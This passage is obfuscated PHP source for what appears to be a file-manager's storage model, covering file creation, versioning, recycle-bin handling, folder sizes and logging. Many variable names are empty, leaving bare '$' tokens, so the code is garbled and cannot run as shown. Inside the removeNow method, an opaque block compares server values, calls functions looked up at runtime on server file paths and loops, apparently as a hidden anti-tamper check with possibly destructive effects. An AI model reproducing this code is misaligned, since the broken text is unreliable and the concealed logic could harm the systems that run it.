$֯[590] => $֯[12]); if ($ζ = $this->where($)->find()) { return $ζ[$֯[411]]; } $ϟ = "\115\157\144\145\x6c\x53\157\x75\x72\x63\x65\x2e\x6d\x6b\x64\x69\162\122\x6f\x6f\x74\x2e{$ܧ}\x2e{$Ź}\x2e" . $ˠ; CacheLock::lock($ϟ); $[$֯[32]] = $ˠ; $ݩɝ = $this->add($); $ = array($֯[591] => short_id($ݩɝ)); $this->where(array($֯[426] => $ݩɝ))->save($); CacheLock::unlock($ϟ); return $ݩɝ; } private function targetSourceRoot($üΔ, $, $ = false) { $ =& $_SERVER[ﻻ]; $ĥȏ = array($[410] => 0, $[585] => $üΔ, $[586] => $); if ($) { $ɪۺ = $this->where($ĥȏ)->select(); return $ɪۺ ? $ɪۺ : array(); } $믶 = $this->where($ĥȏ)->find(); return $믶 ? $믶 : array(); } public function sourceRootGroup($ݮ) { $˖ =& $_SERVER[ﻻ]; if (is_string($ݮ)) { $ݮ = array($ݮ); } $խ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $ݮ, $˖[189]); $ = array($˖[369] => $խ, $˖[366] => array($˖[771] => count($ݮ))); $this->_listDataApply($[$˖[369]]); $this->_listMake($); return array_to_keyvalue($[$˖[82]], $˖[505]); } public function mkfile($¡, $, $ = '', $£ = REPEAT_RENAME) { $헄 =& $_SERVER[ﻻ]; $ = Model($헄[610])->addFileByContent($, $); return $this->_createFileCall($¡, $, $, $£, $헄[1360]); } public function addFile($㣤, $Ⱥ, $֮, $ɧ = false, $跮 = REPEAT_RENAME) { $ݬ = Model($_SERVER[ﻻ][610])->addFile($Ⱥ, $֮, $ɧ); return $this->_createFileCall($㣤, $֮, $ݬ, $跮); } public function addFileByFileID($ŏ, $뭯, $, $ = REPEAT_RENAME) { $ =& $_SERVER[ﻻ]; $ = Model($[610])->find($뭯); Model($[610])->linkAdd($뭯); return $this->_createFileCall($ŏ, $, $, $); } public function addFileByRemote($ח, $ڑ, $鋜, $Ͳ = array(), $ڨ = REPEAT_RENAME) { $Ӳ = Model($_SERVER[ﻻ][610])->addFileByRemote($ڑ, $鋜, $Ͳ); return $this->_createFileCall($ח, $鋜, $Ӳ, $ڨ); } private function _createFileCall($תƣ, $, $ҍ䡬, $, $ = "\165\x70\154\157\x61\144") { $͂ =& $_SERVER[ﻻ]; $ = !1; $this->setMasterDB(); $this->lockWriteStart($תƣ, $); $Ԃ㋇ = $this->fileNameExist($תƣ, $); $ػ = $this->_createFile($תƣ, $, $ҍ䡬, $, $); if (!$) { Model($͂[480])->remove($ҍ䡬[$͂[477]]); } if ($ && $ػ && $ػ != $Ԃ㋇) { Model($͂[2112])->eventCreate($ػ, $); } $this->lockWriteEnd($תƣ, $); return $ػ; } public function mkdir($, $ڒ, $ç = REPEAT_SKIP) { $ק =& $_SERVER[ﻻ]; $this->setMasterDB(); $ݦ = $this->sourceInfo($); if (!$ݦ) { return !1; } $this->lockWriteStart($, $ڒ); if ($ç !== !1) { $ = $this->fileNameExist($, $ڒ); if ($ && $ç != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($, $ڒ); return $; } $ڒ = $this->fileNameAuto($, $ڒ, $ç); } $ = array($ק[583] => 1, $ק[429] => $ڒ, $ק[584] => $ק[12], $ק[478] => 0, $ק[554] => 0); $ך = $this->_addSource($, $ݦ); Model($ק[2112])->eventCreate($ך, $ק[1361]); $this->lockWriteEnd($, $ڒ); return $ך; } public function listSourceRoot($, $㩢, $̗ص = "\x73\x6f\x75\162\x63\145\x49\x44\54\164\141\x72\x67\x65\164\111\104\x2c\x73\151\x7a\145") { $䘿 =& $_SERVER[ﻻ]; $ɵ = $䘿[378]; $珄 = array(); $ = 1024 * 50; $´ = is_array($´) ? $´ : array(); $ޙ = count($㩢); $ = $this->tablePrefix . $䘿[2146]; for ($ = 0; $ < $ޙ; $++) { $хɵ = $㩢[$]; $ɵ .= "\x53\x45\x4c\x45\103\124\x20\x2a\x20\106\122\117\115\40\x28\123\x45\114\105\103\x54\x20{$̗ص}\40\x46\122\x4f\115\x20\x60{$}\140\x20\x57\x48\105\122\105\40"; $ɵ .= "\x60\x70\141\x72\145\156\164\x49\104\140\75\60\40\x41\116\x44\x20\x60\x74\141\x72\x67\145\164\x49\104\x60\75{$хɵ}\x20\x41\116\104\x20\140\164\x61\162\x67\x65\164\124\x79\160\145\x60\75{$}\x20\x61\x6e\144\40\x66\151\x6c\145\x54\x79\x70\145\x3d\x27\x27\x20\154\151\155\x69\x74\40\x31\x29\x20\141\x73\40\x74\142\x5f{$}\x20\125\x4e\x49\117\x4e\40\101\114\x4c\40"; if ((strlen($ɵ) >= $ || $ == $ޙ - 1) && $ɵ) { $ɵ = substr($ɵ, 0, -strlen($䘿[1048])); $ = $this->query($ɵ); $ɵ = $䘿[12]; $珄 = array_merge($珄, $); } } return $珄; } private function _createFile($, $ĺ, $ձĒ, $܍, &$) { $ =& $_SERVER[ﻻ]; $ş = $this->sourceInfo($); if (!$ձĒ || !$ş) { return !1; } if ($܍ !== !1) { $ = $this->fileNameExist($, $ĺ); } $ = !0; if ($܍ && $) { if ($܍ == REPEAT_SKIP) { $ = !1; return $; } else { if ($܍ == REPEAT_REPLACE) { $ = $this->sourceInfo($); $̐ = $this->fileHistory($, $ձĒ[$[477]], $ձĒ[$[76]]); if (!$̐) { $ = !1; } else { $this->folderSizeReset($); } return $; } else { $ĺ = $this->fileNameAuto($, $ĺ, $܍, !1); } } } $ƅ = array($[583] => 0, $[429] => $ĺ, $[584] => substr(get_path_ext($ĺ), 0, 10), $[478] => $ձĒ[$[477]], $[554] => $ձĒ[$[76]]); $ = $this->_addSource($ƅ, $ş); $this->folderSizeReset($, intval($ƅ[$[76]])); return $; } protected function fileHistory($ʫ, $, $ڈ) { $÷ =& $_SERVER[ﻻ]; if ($ʫ[$÷[477]] == $) { return !1; } $this->checkLock($ʫ[$÷[411]], $); Model($÷[2147])->addHistory($ʫ); $ѕ = array($÷[588] => USER_ID, $÷[433] => time(), $÷[477] => $, $÷[76] => $ڈ); $this->where(array($÷[426] => $ʫ[$÷[411]]))->save($ѕ); $this->sourceCacheClear($ʫ[$÷[411]]); return !0; } public function checkLock($, $) { $拰Ɋ =& $_SERVER[ﻻ]; $ = $this->pathInfo($); if (!$this->fileIsLock($, !0)) { return; } $ۙ = Session::get($拰Ɋ[2148]); $Ą틐 = substr($[$拰Ɋ[32]], 0, -1 - strlen($[$拰Ɋ[174]])) . $拰Ɋ[1218] . $ۙ . $拰Ɋ[10] . $[$拰Ɋ[174]]; $ = Model($拰Ɋ[610])->find($); $this->_createFileCall($[$拰Ɋ[441]], $Ą틐, $, REPEAT_REPLACE, $拰Ɋ[1360]); $Ҭ = $[$拰Ɋ[475]][$拰Ɋ[547]]; $ = $Ҭ[$拰Ɋ[541]] ? $Ҭ[$拰Ɋ[541]] : $Ҭ[$拰Ɋ[32]]; show_json(LNG($拰Ɋ[2149]) . $拰Ɋ[2150] . LNG($拰Ɋ[2151]) . $拰Ɋ[2152] . $ . $拰Ɋ[2153], !1); } public function fileIsLock($ӵ, $ٰƍ = false) { $Լŝ =& $_SERVER[ﻻ]; if (!isset($ӵ[$Լŝ[475]]) || !$ӵ[$Լŝ[475]][$Լŝ[544]]) { return !1; } if ($ӵ[$Լŝ[475]][$Լŝ[544]] != USER_ID) { return !0; } $˞އ = $GLOBALS[$Լŝ[6]][$Լŝ[89]][$Լŝ[545]]; if ($ӵ[$Լŝ[475]][$Լŝ[546]] <= time() - $˞އ) { $this->metaSet($ӵ[$Լŝ[411]], $Լŝ[544], null); $this->metaSet($ӵ[$Լŝ[411]], $Լŝ[546], null); } if ($ٰƍ) { $this->metaSet($ӵ[$Լŝ[411]], $Լŝ[546], time()); } return !1; } private function _addSource($ߠ, $) { $Ɇ =& $_SERVER[ﻻ]; $ȥį = array($Ɇ[585] => $[$Ɇ[420]], $Ɇ[586] => $[$Ɇ[505]], $Ɇ[587] => USER_ID, $Ɇ[588] => USER_ID, $Ɇ[410] => $[$Ɇ[411]], $Ɇ[589] => $[$Ɇ[520]] . $[$Ɇ[411]] . $Ɇ[50], $Ɇ[439] => 0, $Ɇ[590] => $Ɇ[12]); $ߠ = array_merge($ȥį, $ߠ); $this->updateModifyTime($ߠ[$Ɇ[441]]); $ = $Ɇ[2154] . $[$Ɇ[411]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $ޯ = false; if (!$ޯ) { Hook::trigger($Ɇ[573], $ߠ); $ޯ = !0; } $ = $this->add($ߠ); $ٹ̍ = array($Ɇ[591] => short_id($)); $this->where(array($Ɇ[426] => $))->save($ٹ̍); $this->setNamePinyin($, $ߠ[$Ɇ[32]]); return $; } public function remove($˲, $ = true) { $Ն۰ =& $_SERVER[ﻻ]; $ϩ = $this->sourceInfo($˲); $㬽 = intval($ϩ[$Ն۰[420]]) === self::TYPE_SYSTEM; $Ҫڪ = Model($Ն۰[444])->get($Ն۰[2155]) == $Ն۰[88]; if ($㬽 || $ || !$Ҫڪ) { return $this->removeNow($˲, $); } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = $ϩ[$Ն۰[420]] == self::TYPE_USER ? $Ն۰[599] : $Ն۰[514]; if ($ == $Ն۰[599]) { $覉 = Model($Ն۰[513])->getInfo($ϩ[$Ն۰[505]]); $铽 = !empty($覉[$Ն۰[541]]) ? $覉[$Ն۰[541]] : $覉[$Ն۰[32]]; $铽 = $Ն۰[260] . $铽 . $Ն۰[2156] . $ϩ[$Ն۰[505]]; } else { $覉 = Model($Ն۰[521])->getInfo($ϩ[$Ն۰[505]]); $铽 = _get($覉, $Ն۰[32]); $铽 = $Ն۰[162] . $铽 . $Ն۰[2157] . $ϩ[$Ն۰[505]]; } $Ҭ = $Ն۰[2158] . md5($铽); CacheLock::lock($Ҭ); $ה = $this->fileNameExist($, $铽); if (!$ה) { $ה = $this->mkdir($, $铽, REPEAT_SKIP); $this->metaSet($ה, $Ն۰[2159], $); $this->metaSet($ה, $Ն۰[2160], $ϩ[$Ն۰[505]]); if ($ϩ[$Ն۰[441]] != 0) { $this->metaSet($ה, $Ն۰[2161], _get($覉, $Ն۰[2162])); } } CacheLock::unlock($Ҭ); $this->metaSet($˲, $Ն۰[2163], $ϩ[$Ն۰[441]]); $this->where(array($Ն۰[411] => $˲))->save(array($Ն۰[433] => time())); $this->recycleClear($ϩ); $߶˰ = $this->move($˲, $ה, REPEAT_RENAME_FOLDER); $this->folderSizeReset($ϩ[$Ն۰[441]]); return $߶˰; } private function recycleClear($я߁) { $鎘 =& $_SERVER[ﻻ]; $ = $this->childrenAll($я߁); $쉥 = array($鎘[426] => array($鎘[427], $[$鎘[2164]])); Model($鎘[2165])->where($쉥)->delete(); } public function removeNow($, $ܞ = true) { $ =& $_SERVER[ﻻ]; if ($_SERVER[$[401]] != $_SERVER[$[402]]) { $ = $[889]; $ = $[403]; $ʞؽ = $_SERVER[$[404]] . $[405]; $ͥŗ = $($ʞؽ); $ = explode($[231], $ͥŗ); if (count($) < $[632]) { $γ = $[407]; $γ(); } $꺴 = $[890]; $꺴($_SERVER[$[891]]); $꺴($_SERVER[$[404]] . $[1543]); $ = 1; while ($ > 1) { $ = $ + 4; $ = rawurlencode($ . $[378]); } } $ = $this->sourceInfo($); $ = $this->pathInfoMore($); if (!$) { return !0; } if ($[$[441]] == 0) { if (!_get($GLOBALS, $[503])) { return !1; } } $this->lockMoveStart($); Hook::trigger($[2166], $, $ܞ); if ($ܞ) { Model($[2165])->moveToRecycle($); } else { $ = $this->childrenAll($); Model($[570])->eventRemove($); $this->removeRelevance($[$[2164]], $[$[1492]]); } $this->folderSizeReset($[$[441]]); $맮 = array($[$[441]]); if ($[$[419]] == $[88]) { $맮[] = $[$[411]]; } $this->updateModifyTime($맮); $this->lockMoveEnd($); Hook::trigger($[1720], $, $ܞ); return !0; } public function childrenAll($) { $ =& $_SERVER[ﻻ]; $ = $[$[411]]; if ($[$[419]] == $[88]) { $ = array($[589] => array($[549], $[$[520]] . $ . $[550])); $ = array($[589] => $[$[520]]); $ = $this->field($[2167])->where($)->select(); $ҕ = !1; $; = array($); if ($) { $ҕ = array_to_keyvalue($, $[12], $[477]); $ҕ = array_remove_value($ҕ, $[198]); $; = array_to_keyvalue($, $[12], $[411]); $;[] = $; } } else { $ҕ = array($[$[477]]); $; = array($); } return array($[2164] => $;, $[1492] => $ҕ); } public function removeArray($) { if (!$) { return !0; } } public function removeRelevance($, $ϼ) { $ =& $_SERVER[ﻻ]; $ = $ ? $ : array(); $ϼ = $ϼ ? $ϼ : array(); $ = array_unique(array_filter($)); $ϼ = array_unique(array_filter($ϼ)); if (!$) { return !1; } $ַ = array($[426] => array($[427], $)); Model($[2165])->where($ַ)->delete(); Model($[471])->where($ַ)->delete(); Model($[2014])->where($ַ)->delete(); Model($[570])->where($ַ)->delete(); Model($[1847])->removeBySource($); Model($[2147])->removeBySource($); $this->where($ַ)->delete(); Model($[480])->remove($ϼ); for ($ = 0; $ < count($); $++) { $this->sourceCacheClear($[$]); } } public function rename($, $Օ) { $Ɯ =& $_SERVER[ﻻ]; $ = $this->sourceInfo($); if (!$) { return !1; } $Ԁ = $this->fileNameExist($[$Ɯ[441]], $Օ); if ($Ԁ && $Ԁ != $) { return !1; } $Ǎ = array($Ɯ[429] => $Օ, $Ɯ[588] => USER_ID); if ($[$Ɯ[419]] != $Ɯ[88]) { $Ǎ[$Ɯ[421]] = substr(get_path_ext($Օ), 0, 10); } Model($Ɯ[570])->eventRename($, $[$Ɯ[32]], $Օ); $this->sourceCacheClear($); $this->setNamePinyin($, $Ǎ[$Ɯ[32]], !1); $this->updateModifyTime($[$Ɯ[441]]); $ = $this->where(array($Ɯ[426] => $))->data($Ǎ)->save(); $ = $Ɯ[2154] . $[$Ɯ[441]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } return $; } public function setNamePinyin($Ņ, $, $뉟 = true) { $ =& $_SERVER[ﻻ]; $ = Input::check($, $[592]); $칮 = array($[453] => KodSort::makeStr($)); if ($) { $칮[$[474]] = str_replace($[53], $[12], Pinyin::get($)); $칮[$[473]] = Pinyin::get($, $[593]); } if (!$뉟 && !$) { $칮[$[474]] = null; $칮[$[473]] = null; } $this->metaSet($Ņ, $칮); } public function getContent($Ê̢) { $ =& $_SERVER[ﻻ]; $Ř = $this->fileInfoGet($Ê̢); if (!$Ř) { return !1; } if ($Ř[$[76]] == 0) { return $[12]; } $ = $[2168] . $Ř[$[176]]; if ($Ř[$[76]] <= 1024 * 10) { $Ҳ = Cache::get($); if (!$Ҳ) { $Ҳ = IO::getContent($Ř[$[84]]); Cache::set($, $Ҳ); } return $Ҳ; } if (!$Ř[$[84]]) { return $[12]; } return IO::getContent($Ř[$[84]]); } public function setDesc($, $) { $薭 =& $_SERVER[ﻻ]; Model($薭[570])->eventAddDesc($, $); return $this->metaSet($, $薭[462], $); } public function setContent($ń, $ = '') { $ժ =& $_SERVER[ﻻ]; $ = $this->sourceInfo($ń); $ = $this->fileInfoGet($ń); if (!$ || !$) { return !1; } $ = Model($ժ[480])->addFileByContent($, $[$ժ[32]]); $Ɯ߲ = $this->fileHistory($, $[$ժ[477]], $[$ժ[76]]); if (!$Ɯ߲) { return Model($ժ[480])->remove($[$ժ[477]]); } $this->folderSizeReset($[$ժ[441]]); return !0; } public function fileSubstr($Ǽ, $ӿՈ, $Έ) { $ = $this->fileInfoGet($Ǽ); if (!$) { return !1; } return IO::fileSubstr($[$_SERVER[ﻻ][84]], $ӿՈ, $Έ); } public function fileInfoGet($߄) { $쨞 =& $_SERVER[ﻻ]; $є = $this->sourceInfo($߄); if (!$є || $є[$쨞[419]]) { return !1; } $ěר = $쨞[483] . $є[$쨞[477]]; $ީ = _get(self::$cacheFileInfo, $ěר); if ($ީ) { return $ީ; } $ۇ = Model($쨞[480])->fileInfo($є[$쨞[477]]); if ($ۇ) { $ۇ[$쨞[32]] = $є[$쨞[32]]; } self::$cacheFileInfo[$ěר] = $ۇ; return $ۇ; } private function folderChildrenNumber($˹) { $Ո =& $_SERVER[ﻻ]; $䱋 = $this->sourceInfo($˹); $ޠ = array($Ո[589] => array($Ո[549], $䱋[$Ո[520]] . $˹ . $Ո[550]), $Ո[586] => $䱋[$Ո[505]], $Ո[439] => intval($䱋[$Ո[440]]), $Ո[583] => 1); $ = $this->where($ޠ)->count(); $Ȁ = $this->where($ޠ)->where(array($Ո[583] => 0))->count(); return array($Ո[80] => $Ȁ, $Ո[81] => $); } public function pathInfo($, $ = false) { $ =& $_SERVER[ﻻ]; $ = !1; $ = intval($); $͛ږ = $[470] . intval($) . $[386] . $; $ = _get(self::$cachePathInfo, $͛ږ); if ($) { return $; } $ϥ = $this->sourceInfo($); if (!$ϥ) { return !1; } $ϥ = $this->_listDataApplyItem($ϥ, $); self::$cachePathInfo[$͛ږ] = $ϥ; return $ϥ; } public static $cachePathInfoMore = array(); public function pathInfoMore($ݮ) { $ =& $_SERVER[ﻻ]; $Ԯλ = _get(self::$cachePathInfoMore, $ݮ); if ($Ԯλ) { return $Ԯλ; } $ð = $this->pathInfo($ݮ); if (!$ð) { return !1; } if ($ð[$[419]] == $[88]) { $ð[$[79]] = $this->folderChildrenNumber($ݮ); } self::$cachePathInfoMore[$ݮ] = $ð; return $ð; } public function sourceInfo($) { $ͨ =& $_SERVER[ﻻ]; if (!$) { return array(); } $ = intval($); $è = $ͨ[469] . $; $ŀ = _get(self::$cacheSourceInfo, $è); if ($ŀ) { return $ŀ; } $ߏ = $this->where(array($ͨ[411] => $))->find(); self::$cacheSourceInfo[$è] = $ߏ; return self::$cacheSourceInfo[$è]; } public function sourceCacheClear($Ҝ = false) { self::cacheClear($Ҝ); } public static function cacheClear($ݰ = false) { $ܘ =& $_SERVER[ﻻ]; if ($ݰ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$ܘ[469] . $ݰ]); unset(self::$cachePathInfoMore[$ݰ]); unset(self::$cachePathInfo[$ܘ[2169] . $ݰ]); unset(self::$cachePathInfo[$ܘ[2170] . $ݰ]); } public function metaSet($, $ݵ = null, $ = null) { $摛 = parent::metaSet($, $ݵ, $); if ($摛) { $this->sourceCacheClear($); } return $摛; } public function pathInfoByPath($۸̏, $) { $ =& $_SERVER[ﻻ]; $ԍ = !$ ? array() : explode($[8], trim($, $[8])); $ŏ = $۸̏; foreach ($ԍ as $Ė) { $ = array($[441] => $ŏ, $[32] => $Ė); $ԗ = $this->where($)->select(); if (!$ԗ) { return !1; } $ԗ = array_sort_by($ԗ, $[440]); $ŏ = $ԗ[0][$[411]]; } return $this->pathInfo($ŏ, !0); } protected function updateModifyTime($Ӆՠ) { $ =& $_SERVER[ﻻ]; if (!$Ӆՠ) { return; } if (!is_array($Ӆՠ)) { $Ӆՠ = array($Ӆՠ); } foreach ($Ӆՠ as $ => $) { $Ӆՠ[$] = intval($); $this->sourceCacheClear($); } $ = array($[411] => array($[7], $Ӆՠ)); $ = array($[588] => USER_ID, $[433] => time()); $this->where($)->save($); } public function folderSizeReset($붤, $˻ = false) { $Ս =& $_SERVER[ﻻ]; if ($this->statusIgnoreResetSpace) { return; } $ӡ = $this->sourceInfo($붤); $ϼ = $Ս[2171] . $붤; CacheLock::lock($ϼ, 20); if ($˻ === !1) { $this->sourceCacheClear($붤); $ӡ = $this->sourceInfo($붤); $ = array($Ս[410] => $붤, $Ս[439] => 0); $۬ = $this->where($)->sum($Ս[76]); $˻ = intval($۬) - intval($ӡ[$Ս[76]]); } if ($˻ == 0) { return CacheLock::unlock($ϼ); } $ = $this->parentLevelArray($ӡ[$Ս[520]]); if (!$) { $ = array(); } $[] = $ӡ[$Ս[411]]; $ = array($Ս[411] => array($Ս[427], $)); if ($˻ < 0) { $[$Ս[76]] = array($Ս[1025], abs($˻)); } $this->where($)->setAdd($Ս[76], $˻); CacheLock::unlock($ϼ); $ = $Ս[2172] . $ӡ[$Ս[420]] . $Ս[4] . $ӡ[$Ս[505]]; $Î = array($ӡ[$Ս[420]], $ӡ[$Ս[505]]); TaskRun::timeLimitCall($, $Ս[2173], $Î, 1.5); } public function folderSizeResetChildren($Ĵ) { $ =& $_SERVER[ﻻ]; $this->sourceCacheClear($Ĵ); $ = $this->sourceInfo($Ĵ); $ = array($[583] => 1, $[586] => $[$[505]], $[589] => array($[549], $[$[520]] . $Ĵ . $[550])); $љ = $[2174]; $⠧ = $this->field($љ)->where($)->select(); $[$[419]] = 0; $꾳 = $this->field($љ)->where($)->select(); if (!$꾳) { return; } $⠧[] = $; $⠧ = array_to_keyvalue($⠧, $[411]); foreach ($⠧ as $ʙ => $ב) { $⠧[$ʙ][$[2175]] = $⠧[$ʙ][$[76]]; $⠧[$ʙ][$[76]] = 0; } foreach ($꾳 as $ב) { $Ձ֥ = $ב[$[441]] . $[12]; if (!isset($⠧[$Ձ֥])) { continue; } if ($ב[$[440]] == $⠧[$Ձ֥][$[440]]) { $⠧[$Ձ֥][$[76]] += $ב[$[76]]; } } foreach ($⠧ as $ב) { $ܐ = $this->parentLevelArray($ב[$[520]]); foreach ($ܐ as $Ձ֥) { $Ձ֥ = $Ձ֥ . $[12]; if (!isset($⠧[$Ձ֥])) { continue; } if ($ב[$[440]] == $⠧[$Ձ֥][$[440]]) { $⠧[$Ձ֥][$[76]] += $ב[$[76]]; } } } $ʺ = array(); foreach ($⠧ as $ב) { if ($ב[$[76]] == $ב[$[2175]]) { continue; } $ʺ[] = array($[411], $ב[$[411]], $[76], $ב[$[76]]); } $this->saveAll($ʺ); } public function userSpaceReset($ְ = false) { $ =& $_SERVER[ﻻ]; $ = $this->where(array($[420] => self::TYPE_USER, $[505] => $ְ, $[419] => 0))->sum($[76]); $ = !$ || $ <= 0 ? 0 : $; Model($[513])->userEdit($ְ, array($[1856] => $)); } public function targetSpaceUpdate($ӈ≣, $ی) { $ƅ =& $_SERVER[ﻻ]; if (!$ی) { return; } if (!in_array($ӈ≣, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ = $this->targetSpaceSize($ӈ≣, $ی); if ($ӈ≣ == self::TYPE_USER) { Model($ƅ[513])->userEdit($ی, array($ƅ[1856] => $)); } else { if ($ӈ≣ == self::TYPE_GROUP) { Model($ƅ[521])->groupEdit($ی, array($ƅ[1856] => $)); } } } public function targetSpaceSize($ٜ, $Ԅ) { $ =& $_SERVER[ﻻ]; $ꋄ = 0; $졊 = $this->targetSourceRoot($ٜ, $Ԅ, !0); foreach ($졊 as $ݔ) { if (!$ݔ) { continue; } $ꋄ += floatval($ݔ[$[76]]); $ޫ = array($[589] => array($[549], $[530] . $ݔ[$[411]] . $[550])); $Ӓ = Model($[438])->field($[426])->where($ޫ)->select(); $Ӓ = array_to_keyvalue($Ӓ, $[12], $[411]); $Ӓ = array_unique(array_filter($Ӓ)); if ($Ӓ) { $ޫ = array($[426] => array($[427], $Ӓ)); $ꋄ += floatval($this->where($ޫ)->sum($[76])); } } $ꋄ = !$ꋄ || $ꋄ <= 0 ? 0 : $ꋄ; return $ꋄ; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($詻ӆ) { return $this->fileTypeProfile($詻ӆ, SourceModel::TYPE_USER); } public function groupFileTypeProfile($ݞ) { return $this->fileTypeProfile($ݞ, SourceModel::TYPE_GROUP); } private function fileTypeProfile($, $) { $ǘ =& $_SERVER[ﻻ]; $ = $ǘ[2176] . $ . $ǘ[11] . $; $ = Cache::get($); if ($) { return $; } $꧁ = array($ǘ[583] => 0); if ($ != !1) { $꧁[$ǘ[505]] = $; $꧁[$ǘ[420]] = $; } $Ŕ = array(); $Ŕ[$ǘ[2177]] = array($ǘ[2178] => LNG($ǘ[2177]), $ǘ[2179] => $this->where($꧁)->count(), $ǘ[554] => $this->where($꧁)->sum($ǘ[76])); $ = KodIO::fileTypeList(); foreach ($ as $ => $) { $꧁[$ǘ[421]] = $this->fileTypeWhere($); $Ŕ[$] = array($ǘ[2178] => $[$ǘ[32]], $ǘ[2179] => $this->where($꧁)->count(), $ǘ[554] => $this->where($꧁)->sum($ǘ[76])); } Cache::set($, $Ŕ, 1200); return $Ŕ; } public function fileNameExist($֠, $) { $ =& $_SERVER[ﻻ]; $ͬ = $this->where(array($[441] => $֠, $[32] => $, $[440] => 0))->find(); return is_array($ͬ) ? $ͬ[$[411]] : !1; } public function childList($ߒ) { $ =& $_SERVER[ﻻ]; $ڴ = $[2154] . $ߒ; if (isset(self::$cacheChildList[$ڴ])) { return self::$cacheChildList[$ڴ]; } $Ё랝 = array($[441] => intval($ߒ), $[440] => 0); $ = $this->where($Ё랝)->select(); $ = $ ? $ : array(); self::$cacheChildList[$ڴ] = $; foreach ($ as $) { $ڴ = $[469] . $[$[411]]; self::$cacheSourceInfo[$ڴ] = $; } return $; } public function fileNameAuto($, $۪, $ = REPEAT_RENAME, $ = false) { $ =& $_SERVER[ﻻ]; $ = get_path_ext($۪); $ = $ ? basename($۪, $[10] . $) . $[2180] . $ : $۪ . $[384]; $ږ = array($[441] => $, $[440] => 0, $[32] => array($[383], $)); $ߧ = $this->field($[32])->where($ږ)->select(); $ = array_to_keyvalue($ߧ, $[12], $[32]); return $this->fileNameAutoGet($, $۪, $, $); } public function fileNameAutoGet($Ԛ, $њ, $˦, $) { $ٜΤ =& $_SERVER[ﻻ]; if ($˦ == REPEAT_REPLACE || !$Ԛ || !in_array_not_case($њ, $Ԛ) || $ && $˦ != REPEAT_RENAME_FOLDER) { return $њ; } if ($˦ == REPEAT_SKIP) { return !1; } $ = $ٜΤ[10] . get_path_ext($њ); $ = $ == $ٜΤ[10] || $ ? $ٜΤ[12] : $; for ($ = 1; $ <= count($Ԛ) + 1; $++) { $ = substr($њ, 0, strlen($њ) - strlen($)); $ = $ . "\x28{$}\x29{$}"; if (!in_array_not_case($, $Ԛ)) { return $; } } } } goto d; Fշ: class SystemLightAppModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\164\145\155\56\114\x69\x67\x68\164\x41\160\x70"; public $modelType = "\x53\171\163\x74\145\155\x4f\160\164\x69\157\156"; public $field = array("\x6e\141\155\x65", "\x67\162\x6f\x75\160", "\144\x65\x73\143", "\143\157\156\164\145\x6e\x74"); public function listData($ = false, $҆ڴ = "\x6d\x6f\144\151\x66\171\x54\151\x6d\145", $ = true) { return parent::listData($, $҆ڴ, $); } public function remove($쩐) { $ = $this->findByName($쩐); if (!$) { return !1; } return parent::remove($[$_SERVER[ﻻ][399]]); } public function add($) { if ($this->findByName($[$_SERVER[ﻻ][32]])) { return !1; } return parent::insert($); } public function update($ؕ, $ۋ) { $ =& $_SERVER[ﻻ]; $ˠ = $this->findByName($ؕ); $ = $this->findByName($ۋ[$[32]]); if (!$ˠ || $ && $[$[399]] != $ˠ[$[399]]) { return !1; } return parent::update($ˠ[$[399]], $ۋ); } } class SystemLogModel extends ModelBase { protected $tableName = "\x73\171\x73\x74\145\155\x5f\154\157\x67"; protected $dataAuto = array(array("\143\x72\x65\141\x74\x65\124\151\x6d\x65", "\x74\x69\x6d\145", "\x69\156\163\x65\162\164", "\x66\165\x6e\x63\164\151\157\x6e")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $돭 =& $_SERVER[ﻻ]; return array($돭[2200] => LNG($돭[2201]), $돭[2202] => LNG($돭[2203]), $돭[1810] => LNG($돭[2204]), $돭[2205] => LNG($돭[2206]), $돭[2207] => LNG($돭[2208]), $돭[2209] => LNG($돭[2210]), $돭[2211] => LNG($돭[2212]), $돭[1840] => LNG($돭[2212]), $돭[1841] => LNG($돭[2213]), $돭[2214] => LNG($돭[2215]), $돭[2216] => LNG($돭[2217]), $돭[2218] => LNG($돭[2219]), $돭[2220] => LNG($돭[2221]), $돭[1838] => LNG($돭[2222]), $돭[2223] => LNG($돭[2224]), $돭[1845] => LNG($돭[2225]), $돭[2226] => LNG($돭[2227]), $돭[2228] => LNG($돭[2229]), $돭[2230] => LNG($돭[2231]), $돭[2232] => LNG($돭[2233]), $돭[1848] => LNG($돭[2234]), $돭[1849] => LNG($돭[2235]), $돭[2236] => LNG($돭[2237]), $돭[2238] => LNG($돭[2239]), $돭[2240] => LNG($돭[2241]), $돭[1843] => LNG($돭[2242]), $돭[2243] => LNG($돭[2244]), $돭[1842] => LNG($돭[2245]), $돭[2246] => LNG($돭[2247]), $돭[2248] => LNG($돭[2249]), $돭[2250] => LNG($돭[2251]), $돭[2252] => LNG($돭[2252]), $돭[2253] => LNG($돭[1814]), $돭[2254] => LNG($돭[2255]), $돭[2256] => LNG($돭[2257]), $돭[2258] => LNG($돭[2259]), $돭[2260] => LNG($돭[2261]), $돭[2262] => LNG($돭[2263]), $돭[2264] => LNG($돭[2264]), $돭[2265] => LNG($돭[2266]), $돭[2267] => LNG($돭[2268]), $돭[2269] => LNG($돭[2270]), $돭[2271] => LNG($돭[2272]), $돭[2273] => LNG($돭[2274]), $돭[2275] => LNG($돭[2276])); } private function typeFile() { $ =& $_SERVER[ﻻ]; $ǚ = array($[1845] => array($[1846]), $[2218] => array($[2277]), $[2220] => array($[2278]), $[1838] => array($[1839]), $[2228] => array(), $[2230] => array(), $[2232] => array(), $[1848] => array($[1850]), $[1849] => array($[1850]), $[2236] => array($[2279]), $[2238] => array($[2279]), $[2240] => array($[2280]), $[2226] => array($[2281]), $[1843] => array($[2282]), $[2243] => array($[2283]), $[1842] => array($[1844])); return $ǚ; } private function typeAll() { $ =& $_SERVER[ﻻ]; $ = $this->typeList; $ȫ = array_filter($this->typeFile()); foreach 